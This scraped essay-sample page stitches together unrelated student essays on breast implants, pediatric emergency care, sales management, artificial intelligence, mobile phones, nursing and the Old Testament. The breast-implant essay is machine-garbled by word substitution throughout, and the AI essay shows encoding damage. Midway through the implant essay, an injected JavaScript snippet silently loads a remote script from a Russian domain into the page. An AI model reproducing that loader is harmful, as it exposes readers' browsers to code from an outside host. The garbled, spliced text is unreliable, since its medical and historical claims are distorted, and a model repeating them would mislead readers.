Breast Implants Essay Research Paper Breast Implants

Breast Implants Essay, Research Paper Breast Implants One of the first utilizations of silicone in a medical implant came in the signifier of lifesaving tubings implanted into immature kids to funnel extra fluid from the encephalon into the chest pit, where the fluid could be safely metabolized and excreted. Since these # 8220 ; shunts # 8221 ; were foremost used, in the late fiftiess, silicone in assorted signifiers has come to be an of import portion of many implants. # 8220 ; It is used in tracheostomy tubings, in unreal lenses for the oculus, in unreal bosom valves and in facial implants for birth defects or re-constructive surgery after malignant neoplastic disease # 8221 ; ( Ames 1 ) . The most widely used execution of silicone is through chest re- constructive surgery through elected surgery of an person, or re- constructive surgery to replace chests due to adult females retrieving from mastectomies from chest malignant neoplastic disease or assorted types of accidents. The early history and usage of implants showed no sick effects of the usage of paraffin or silicone. Because of this freshly developed surgical procedure and comparatively small usage of FDA guidelines there was no comprehensive testing done to guarantee the extreme safety of a silicone receiver. By this clip the 1000000s of adult females throughout the universe who already had Dow # 8217 ; s silicone prosthetic device implanted into their chests had no thought of the dramatic wellness hazards. Because of these possible wellness hazards, adult females should avoid the usage of chest implants. In 1976, Congress gave the FDA authorization to modulate chest implants. By this clip chest implants had been in usage for a important sum of clip and were considered # 8220 ; grandfathered. # 8221 ; This means that they were allowed to stay on the market, even though they hold non gone through rigorous testing. The FDA felt there was no grounds to substantiate that the implants were harmful. Furthermore Congress besides gave the FDA the power to travel back and necessitate industries to supply cogent evidence that the implants were so safe and effectual, if it was felt that there was a ground to make so. ( Bruning 7 )# 8220 ; In 1977, Richard Mithoff, a Houston lawyer, wins the first case for a Cleveland adult female who claims that her ruptured implants and subsequent operations had caused hurting and agony. She receives a $ 170,000 colony from Dow Corning. This instance received small promotion # 8221 ; ( Frontline 1 ) . Since this instance received small attending adult females from all walks of life still continued to seek out decorative surgery. In 1982 the # 8220 ; FDA proposed to sort silicone chest implants into a Class III class that would necessitate makers to turn out their safety in order to maintain them on the market # 8221 ; ( Frontline 2 ) . It wasn # 8217 ; t until 1990 that heavy media exposure began to unveil the possible links between silicone chest implants and assorted types of toxic upsets. Connie Chung of Face to Face of this same twelvemonth confronted Dow Corning executives who vehemently denied any nexus to toxic disease from their silicone implants ( Frontline 2 ) . For better or worse, we live in a society that puts great accent on visual aspect. This penchant seemingly knows no boundaries. In the 1940 # 8217 ; s,# 8220 ; Nipponese cocottes had their chests injected with substances such as paraffin, sponges and non-medical class silicone to enlarge their chests, believing that American military mans favor adult females with big chests # 8221 ; ( Frontline 1 ) this is the instance today as-well. During the 1960 # 8217 ; s chest implants made a roar as adult females discover that at that place rolls in the occupation market can be increased by the manner they look. With the aid of the sexual revolution adult females besides found it delighting to make a better them through chest expansion. Not merely was there a desire for adult females to seek this type of elected surgery, but prosthetic medical usage for chest implants was increasing dramatically from adult females enduring from chest malignant neoplastic disease. Many adult females have conflicting images of their chests. On the one manus, chests are symbols of beauty, gender, and fostering ; on the other, they are troublesome variety meats that are progressively likely to endanger adult females # 8217 ; s lives. In the United States the likeliness that a adult female will be found to hold chest malignant neoplastic disease has easy and inexorably mounted since the 1930s, when some systematic informations aggregation began. The addition in diagnosings, already a cause for concern, accelerated in the 1980s, turning by a rate of four per centum a twelvemonth. This twelvemonth, harmonizing to the American Cancer Society, some 184,300 adult females will detect that they have the disease ; another 44,300 will decease of it. Of the adult females in whom malignant neoplastic disease is diagnosed, 9,200 will non yet be 40 # 8211 ; about twice the figure of adult females under 40 who were found to hold chest malignant neoplastic disease in 1970. # 8220 ; The disease is now the taking cause of decease for American adult females aged 40 to 55, and causes adult females to lose more old ages of productive life than any other disease. Numbers like these are why breast malignant neoplastic disease is frequently called an epidemic # 8221 ; ( Plotkin 2 ) . Silicone as a man-made plastic was foremost developed in the 1930 # 8217 ; s. It contains silicone, a natural stuff, combined with C, H, and O that have been polymerized, a procedure in which molecules are combined to signifier more complex molecules. Silicone can be processed into three signifiers: a gel, a solid like compound known as elestomer, and a fluid. Early chest implants were made of polyurethane froth, paraffin, steel, R / gt ; and transplants of human tissue. These were non successful and when the first chest implant became available in the 1960 # 8217 ; s through Dow Corning, they were held as a discovery. Although an betterment, the first silicone implants had jobs every bit good. Gradually the merchandise improved. # 8220 ; With the coming of silicone gel, implants felt softer and looked more natural # 8221 ; ( Bruning 6 ) . With the development of the silicone implant at that place came about several options besides silicone. These options include gel-filled implants ( the most frequent type used ) , saline-filled implants, and dual lms implants. Some have outer shells that are textured or coated. Since extended research had been conducted on the development of man-made implants and decorative surgery clinics have become progressively popular and economically low-cost, adult females have sought out these clinics in droves. This enabled adult females to experience more confident about themselves and gave them a feeling of higher employability. For illustration, we see many adult females in the film and telecasting industry who have opted for a more good developed chest. These adult females such as Pamela Anderson Lee, La Toya Jackson, Helen Hunt, Lonnie Anderson and Dollie Parton merely to call a few, have had really successful callings non merely because of their playing or vocalizing abilities, but because of a better endowed organic structure. On a recent episode of the WB plan Judge Judy that aired on November 12, 1996, the former actress known as Roz Kelley of Happy Days celebrity was contending a determination of a jurisprudence suit about her chest implants which she claims has caused Arthritic disease. Ms. Kelley claimed that her celebrity was based entirely on her visual aspect and that is the lone ground why she decided to acquire the surgery. A informant for the suspect was the actress Rhonda Shear of USA # 8217 ; s Up All Night contended that although her implants had helped her calling, it was non why she elected to hold the surgery. The surgery was done out of personal pick and her statement for the defence was that # 8220 ; all adult females who have decorative surgery, do a witting pick in making so. # 8221 ; There was no coercion involved.Not merely in Hollywood do we see this type personal sweetening performed, but in magazines, mold, and in the alien amusement industry besides. Why is there such a dramatic accent on these adult females who decide to increase their flop line? That inquiry remains known merely to the person who elects to hold the surgery. Because this type of surgery has become so popular, many adult females in today # 8217 ; s society have elected to hold breast augmentation entirely for decorative intents. # 8220 ; When the ASPRS ( American Society of Plastic and Re-constructive Surgeons ) study asked adult females why they chose to hold breast augmentation, the three most common grounds given were: The desire for a more proportionate physique ( 93 % ) , a more appealing visual aspect ( 83 % ) , and a encouragement in self assurance ( 76 % ) # 8221 ; ( Bruning 27 ) . The ideal adult female started to go taller and dilutant. Work force desired slender hips and big chests. This image shriek at us twenty-four hours and dark on Television, at the films, in magazines and newspapers, and at the wellness nines. Womans hold fallen into the prototype of # 8220 ; purchase this merchandise and you will belong to the nine of the attractive and good endowed # 8221 ; ( Bruning 27 ) . In September of 1991 the FDA after having legion ailments issued a public study saying that silicone chest implants would non be deemed safe or harmful until farther surveies could be conducted. This statement outraged many adult females who had already began to experience the effects of their implants.# 8220 ; Implants, both ruptured and integral, have been charged with doing a enormous array of diseases. These scope from memory loss to difficulty get downing to joint hurting to decreased sex thrust to # 8220 ; skin fastening # 8221 ; to autoimmune diseases and even to malignant neoplastic disease. Some have referred to this wide configuration of symptoms as # 8220 ; silicone gel syndrome # 8221 ; ( Doyle 1 ) . The first public intimation of serious jobs did non surface until 1977, when an fact-finding narrative of chest expansion was published by Ms. Magazine contained a disclosure article the headline # 8220 ; A 60 % Complication Rate for an Operation You Don # 8217 ; t Need # 8221 ; ( Bryne 81-82 ) . After a lurid find from look intoing Dow Corning # 8217 ; s internal memo # 8217 ; s, 1000s of these memo # 8217 ; s revealed deficiency of long term testing, ailments from physicians, and escape of silicone from the implants. The most hideous incident discovered was ailments from sawboness of implants tearing in the operating room, as they tried to put in them into adult females # 8217 ; s chests ( Byrne 98 ) . Pathology studies indicate considerable silicone reaction to the extruded stuff can do terrible foreign organic structure reaction in susceptible persons. Angstrom missive written to Dow Corning from Charles A. Vinnick a prevailing decorative sawbones in California wrote: # 8221 ; I am loathe to print my series of instances as I feel that it may open Pandora # 8217 ; s box. I do experience, nevertheless, that rapid airing of this information is really necessary to protect your comapny and my co-workers # 8221 ; ( Bryne 98 ) . Vinnick complained to Dow about an incident when he removed a brace of silicone implants, the gel in a ruptured implant was awfully runny while the gel inside the other implant was of ideal coherence. This difference led him and some others to believe that when silicone gel came into contact with tissue fluids and flesh out the gel # 8217 ; s consistence changed. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Research proposal Essay Example | Topics and Well Written Essays - 2000 words

Research proposal - Essay Example Results of the multiple regression shall identify the predictors of effectiveness for both groups, and facilitate the compliance to the EMS pediatric care system. Following the quantitative analysis, selected respondents from both groups shall be interviewed to validate the results. The goal of the present research is to determine the predictors of effectiveness for both patients and healthcare professionals as regards pediatric emergency care at Hospital X. The two groups, having differing perspectives and needs, may have distinct factors that influence their effectiveness valuations. Pediatric emergency care has received increasing attention in recent years; the need has been exacerbated by lack of available primary care; the growing number of children who are suffer ring from chronic illness and who are dependent on technology; and other constraints such as manpower, resources and physical facilities. This study may help Hospital X better respond to these pediatric emergency care demands; to optimize the positive change that may be yielded from the study, both patients’ and healthcare professionals will be tapped for effectiveness evaluations. Since the roles of both parties are critical to the provision of emergency pediatric care, it is worthwhile to examine the factors which they perceive influences their delivery of emergency pediatric care. The Institute of Medicine Emergency Medical Services for Children Summary (1993) approximates that annually, there are about 30 million children and adolescents who are in need of emergency care. The gravity of the issue is realized in the fact that injury alone results in mortality in children between the ages of 1-19 than all other causes. Moreover, there are 21,000 deaths accounted for by illness and other disorders (Institute of Medicine Emergency Medical Services for Children Summary, 1993). The alarming realities

Sales Managment Assignment Example | Topics and Well Written Essays - 1250 words

Sales Managment - Assignment Example This paper appproves that in accordance with the facts mentioned by Bakosh, it can be said that this author has laid significant amount of focus on multiple other aspects of motivating sales teams rather than just concentrating on the financial incentive type. As per the author, it is an utmost necessity for managers to lay prime importance in terms of effectively understanding basic employee requirements which include factors such as health, safety, security, social recognition, self-esteem and multiple more. In keeping with the author, these factors are mainly responsible for physically as well as mentally motivating the employees and thus helping them to attain desired organisational objectives. This essay makes a conclusion that for undertaking this field visit and questionnaire assignment, the ‘Hubbard Foods Ltd’ was chosen. This company is an Auckland based organisation and is mainly involved in terms of manufacturing breakfast cereals. The objective of this live assignment was to carry out an open ended questionnaire session with the National Sales Manager of the company Mr Daniel O'Brien. The summarised view of the responses to the posed questions is provided hereunder. In accordance to the first question, Mr O'Brien replied that the company’s sales team was pretty strong and effective in terms of handling every situation either favourable or unfavourable. The team has got significant amount of experience about the domestic market and they seem to be highly self-motivated.

Discuss the conflict between human intelligence and artificial Essay

Discuss the conflict between human intelligence and artificial intelligence - Essay Example These utopian societies tend to change what ‘human’ is all about. Technology has affected the way humans have lived to such an extent that normal functions, like sleep, eating or even reproduction, has been replaced by an artificial means† (â€Å"Utopia†, 2006). In this view, the robots are nearly indistinguishable from humans in the way they function and in their ability to respond in much the way humans might, with only slight differences circulating around the ability to feel emotion. Still other viewpoints hold that technology of this caliber would lead to a technological dystopia, in which all these advances lead instead to a decline in the quality of life led by the human citizens. â€Å"A dystopia is usually characterized by an authoritarian or totalitarian form of government, or some other kind of oppressive social control† (â€Å"Dystopia†, 2006). This question of whether or to what degree a man-made creation can feel human emotions pl ays a large role in the interpretation of how this society develops as well as the development of the creations themselves. In both cases, utopia or dystopia, the judgment call is made on the quality of life of the humans, with little to no regard for the lifestyle and options available to the robots who have achieved a higher level of existence. Several films have been created to illustrate these varying viewpoints, including Frankenstein, War Games, Blade Runner, The Terminator, Stepford Wives, I Robot and AI: Artificial Intelligence. Technology first allows man to create life out of nothing, without the interference of God, in the tale of Frankenstein, first written in the 1817 by Mary Shelley and made into film in 1931 (Irvine, 1997). In this instance, technology attempts utopia by conquering death but goes awry by bringing to life a creature that can find no acceptance and little understanding in the tiny German village

Mobile communication channel and benefits to consumers in the 21st Dissertation

Mobile communication channel and benefits to consumers in the 21st century - Dissertation Example es and trade press conducted and published (Manninen 2004; Taulavuori 2005; Salmela 2004; Karjaluoto & Leppaniemi 2005; Barnes 2002; Leppaniemi & Karjaluoto 2005; and Salo and Tahtinen 2005). Mobile communication channels is being viewed as the next frontier in achieving customer relation as mobile phone companies seek to market themselves through the mobile devises (Barnes and Scornavacca 2004; Facchetti et al. 2005; Denk & Hackl 2004; Kalakota and Robinson 2002; Varshney 2003; and Wang and Wang 2005). For the mobile phone manufacturers, it is not just a matter of providing a hand held device but ensuring that they provide a device that is able to provide various related benefits such as instant connectivity, increased convenience, and personalization of services. Phone manufacturers have to ensure that their devices are able to meet user's needs, such as provision of a platform that is able to support, m-commerce applications and other applications that is able to provide them with unforgettable experience. Despite the fact that increased studies have shown the benefits of mobile commercial communication, most businesses have not been able to recognise the importance of ensuring that their mobile devises are integrated with mobile communication devices that can help increase their client base and hence increased profitability. This research is intended to provide a platform for mobile phone manufacturer and users especially those that hope to increase their relationship on the business to consumer relation to be able to recognise the mobile devises produced are able to provide increased benefits to consumers and as a result, increase sales of their products and services and hence profitability. 1.1Research Objectives The main objective of the research is to help...Mobile device market is growing at a phenomenon pace. By the year 2008, Apple sold 4 million iPhones a figure, that was translated to almost 20,000 iPhones sold every day. At the same time, it was r eported that by the year ending 2007, the total percentage of web browsing on iPhone was at 0.12% of all browsing in the market. Apple’s iPhone has changed the game for many users browsing the web on a mobile device. Web developers can now create functionally rich and visually appealing applications that run within the iPhone’s version of the Safari Mobile web browser. As shown in the chart below, in the year 2012, according to International Data Corporation (IDC), in their worldwide mobile phone tracker survey, Apple has become the third largest mobile phone manufacturer in the world. This was attributed to the company’s strong launch of the iPhone 4S was listed as the primary reason that the company leapfrogged over competitors LG and ZTE in the fourth quarter of 2011. Nokia still retained its spot as the leader in mobile phone shipments due to its worldwide distribution and manufacturing presence, with Samsung emerging as the number two manufacturer, with its Android smartphone line and new Windows Phone smartphones helping the company sell more than 300 million phones in 2011. Other mobile phones that dominated included Korean LG and Chinese vendor ZTE. More significantly increase in sales was witnessed with most of the consumers, moving from low-cost feature phones to increasingly powerful smartphones that include Android and Windows Ph one-powered smartphones.

CP Essay Example | Topics and Well Written Essays - 500 words

CP - Essay Example Person-centred nursing is one factor that can foster the championing of collaborative practice, but as it is evident today, it lacks in nursing due to limiting factors such as ritualistic and routine nursing. This study will suggest means of championing future person-centred interprofessional collaborative practice based on rituals/routines and person- centeredness and as the central themes. As McCormack, Dewing, and McCance (2011, n.p.) define person-centred nursing, â€Å"it is an approach to practice that is established through the formation and fostering of therapeutic relationships between all care providers, patients, and others significant to them. Orchard, Curran, and Kabene (2005, p.2) highlight organizational structuralism, power relationships, and role socialization as factors creating potential barriers to collaborative nursing. They therefore suggest that traditional routines where nurses are directed and controlled should be alternated with supportive environments. In short, nurses should be able to air their views, consult with patients, and be part of the decision-making bodies (Hall &Roussel 2012, p.154). On matters of power imbalances, teamwork should be supported by scraping the organizational cultures where rather than work as teams, health professionals identify with their â€Å"common† groups and this clogs their ability to consider the per spectives and opinions of others (Reeves, Lewin, Espin, &Zwarenstein 2011, p.89). This not only affects the professionals, but the patients and the organization at large. In addressing this, collaboration should be instilled within healthcare contexts by shifting focus on cooperation rather than on competition as nursing is defined as a practice based on discipline (Black 2013, p.63). Therefore, nurses should realize that their focus is more on patient wellbeing than their own personal gains. Collaborative nursing practice, again, can be through creating an understanding

Encountering the Old Testament Essay Example for Free

Encountering the Old Testament Essay I continued my study in pursuit of the doctoral degree in Biblical Studies by reading the text, Encountering the Old Testament. Little did I know when I began reading this text that it would so completely satisfy two of my greatest pleasures; studying the Word of God and studying people’s history. I am an ardent historian. Knowing and understanding the history of peoples and nations is more than exciting or simply interesting to me. It is necessary. My favorite people and times to study are the ancient Egyptians and American history as it relates to the African Diaspora and slavery. My great grandfather, John Burdette, instilled in me a hunger for knowing our family history and in 2008 I was blessed to publish a factual account of that history. He once said to me, â€Å"Promise me you gone tell da ones to come. ’Long as we keep tellin’ it, we keep it alive. Dey gotta know who dey are. † It was not until I was studying Encountering the Old Testament that I realized he instilled in me a need to know about humankind. Hence, Encountering the Old Testament was an exciting theological and historical journey. All Bible references in this paper come from the New King James Version of the Bible, except where clearly noted by the student). Chapter 1: What Is the Old Testament and Why Do We Study It? Canon: What is the Bible? The Bible is a collection of sixty six books; thirty nine in the Old Testament and twenty seven in the New Testament. But there are some sacred works that are not included in the Bible and the questions of which books should be included in the Bible raises the issue of canon. Tests for canonicity of the Old Testament must focus on three factors: author, audience and teaching. To be included in the Bible as part of the canon, a book had to be written by a prophet or prophetically gifted person, should be relevant and speak to all generations and would not contradict the messages of earlier writings God had revealed. By applying these principles the Hebrew people determined which books belonged in the Old Testament and the Council of Jamnia officially confirmed the books most had recognized for generations. Inspiration: How Was the Bible Written? The Bible confirms its inspiration in several places; for example 2 Timothy 3:16. Unfortunately, the Bible does not describe precisely how God inspired human writers. Four of the most recognized theories are: neo-orthodox theory, dictation theory, limited inspiration theory, and plenary verbal inspiration theory. The neo-orthodox theory holds that God is completely transcendent; he is absolutely different from us and far beyond our comprehension. Neo-orthodoxy asserts that the Bible is a witness to the word of God or contains the word of God. Evaluation of this theory is critical in that the Bible is more than a witness to God’s word. It is God’s word The dictation theory suggests God simply dictated the Bible to human scribes; individuals chosen by him to record his word. This theory asserts sometimes God communicated a precise dictation and other times he allowed the writers to express their own personalities as they wrote. The Holy Spirit insured the finished work accurately communicated God’s intention. Thus the dictation theory accounts for some of the biblical evidence but not all. Limited inspiration theory says that God inspired the thoughts of the writers but not the exact words. Some statements are difficult to reconcile. The plenary verbal inspiration theory asserts the Holy Spirit interacted with human writers to produce the Bible. The entire Bible is God inspired down to the very words the writers chose but God allowed those writers freedom to write according to their distinct styles and personalities. Textual Transmission: How Did We Get the Bible? Scribes who copied the biblical text believed they were copying the very words of God. One group of scribes committed to preserving God’s word was the Masoretes. They did three things to preserve the text they received: (1) they developed a system for writing vowels; (2) they developed a system of accents for the Hebrew text; and (3) they developed a system of detailed notes from the text. The majority of the text was written in Hebrew, the remainder in Aramaic. The most important Hebrew copies of the Old Testament are the Masoretic text (the most reliable), the Samaritan Pentateuch and the Dead Sea Scrolls. The Samaritan Pentateuch contains only Genesis through Deuteronomy and originated with the Samaritans. The Dead Sea Scrolls contains part of every Old Testament book except Ester. The Old Testament was also translated into other languages. The Septuagint, a translation in Greek, has been helpful in resolving some portions of the Pentateuch and the Targums helps us understand early Jewish interpretations. How Do We Interpret the Bible? Use the Grammatical-Historical Method Following the rules of hermeneutics helps us interpret the Bible. The grammatical historical method seeks to determine what the text says grammatically and what it means historically. In order to arrive at this understanding we must first consider the context in which the text was written. Understand the Context There are three kinds of context: immediate, remote and historical. Immediate context refers to the words or phrases in the verses closest to the word or statement one is trying to understand. Remote context describes the biblical material in the surrounding chapters and beyond. Historical context refers to the setting in history in which the writer wrote the Bible passage (p. 30). Determine the Type of Literature Next we must understand the type of literature or genre in which the passage was written. The various types of literature used in the Old Testament are stories, prophecy, parables, and poetry. Interpret Figurative Language Just as we do today, the prophets of the Old Testament used figurative language to convey meaning. One example of this is â€Å"The trees of the field will clap their hands† in Isaiah 55:12. Let Scripture Interpret Scripture Sometimes we find that one passage of Scripture will contradict another passage of Scripture. When this occurs we should find a different passage that presents clear teaching on the topic and interpret the difficult passage in light of the clear one. Discover the Application to Modern Life The principles of the Old Testament apply to our lives today. To receive the full benefit of the application we must understand what issues in our modern life parallel the issues in the Bible passage we are studying and then apply the Bible’s teaching to our modern situation. It is our responsibility as Christians to study, apply and share the Word of God with a dying world. Chapter 2: Where and When Did the Events of the Old Testament Take Place? God revealed his truth in the Old Testament in specific times and places and to a specific group of people, the Israelites. Ancient Israel was a small part of the ancient Near East, now called the Middle East. The three geographical regions of the ancient Near East—Mesopotamia, Egypt and Syria-Palestine—were joined by an arch of rich soil called the Fertile Crescent. The four subregions of Israel consisted of the coastal plains, the ridge or central mountain range, the Jordan rift, and the Transjordan highlands. Highways of the Ancient Near East Two important highways and communication routes of the ancient world were the Via Maris (way of the sea) and the king’s highway. What Events Does the Old Testament Describe? The history of the Old Testament spans nearly two millennia, in contrast to the New Testament which covers a century. One significant event in that history that occurred during the Early Bronze Age is the invention of writing; cuneiform, in Mesopotamia and hieroglyphics in Egypt. Although precise dates for the lives of Israel’s patriarchs (Abraham, Isaac and Jacob) are impossible to determine, it is believed they began generally during the Middle Bronze Age. Israel’s Beginnings: Moses and Joshua Sometime during the Late Bronze Age, while Israel suffered under the burden of slavery to Egypt, Moses was born to the tribe of Levi. Moses was called and prepared by God to lead the Israelites out of their bondage from Egypt. The Israelites’ exodus occurred sometime during the New Kingdom Period of Egyptian history. Joshua succeeded Moses and led the nation of Israel in conquest of the promised land, fulfilling the promises to the patriarchs. Israel’s Statehood: David and His Dynasty A group of newcomers who probably fled from Mycenaean cities in Greece arrived in the Near East. Known as the Sea People, their presence brought political change and instability for the Israelites. The constant threat of military invasion from various other groups caused Israel to call out to God for a king. The prophet Samuel, led by God, first anointed Saul as the king of Israel. However, Saul failed to maintain a right relationship with God and was rejected as king. Samuel was instructed by God to anoint David as the next king. Under David’s strong leadership, the nation thrived and experienced a time of stability. Although internal strife existed among the nation, David left to his son, Solomon, a unified kingdom. Under Solomon’s reign, the borders of Israel expanded northward to the Euphrates and southward to Egypt and he brought great wealth and prosperity to the nation through international trade. Solomon, like Saul, allowed his heart to turn from God and shortly after his death, the nation split into two weaker nations. Israel in the north and Judah in the south became the divided monarchy. The Davidic dynasty continued in Judah for almost 350 years. The Assyrian empire emerged and for a while dominated the political landscape of Syria-Palestine. When Assyria began to experience internal weakness, the divided monarchy led by Jeroboam II in Israel and Uzziah in Judah, experienced a time of prosperity. Moral decay and social injustice began to consume the soul of Israel and Judah. This was the backdrop for the first of the classical prophets: Amos, Hosea, Isaiah, and Micah. God raised up his servants to warn the nations of impending doom and to call them to repentance (p. 53). Assyria rose again to full strength and was â€Å"ready to be used as God’s instrument of destruction against the rebellious northern Israel† (p. 54). Babylonia emerged as a formidable foe against Assyria and eventually captured Jerusalem, taking King Jehoiachin into exile, along with many people of Jerusalem, including Ezekiel. They destroyed the city and tore down the temple, effectively ending the Davidic Dynasty. The loss of temple and kingship was a dominant and formative event in the Old Testament history. It forced the nation to re-think theological assumptions and re-formulate Israel’s earlier religious convictions, especially the nature of God’s covenant. Thus, emerged some of Israel’s most significant prophetic figures: Jeremiah, Habakkuk and Ezekiel.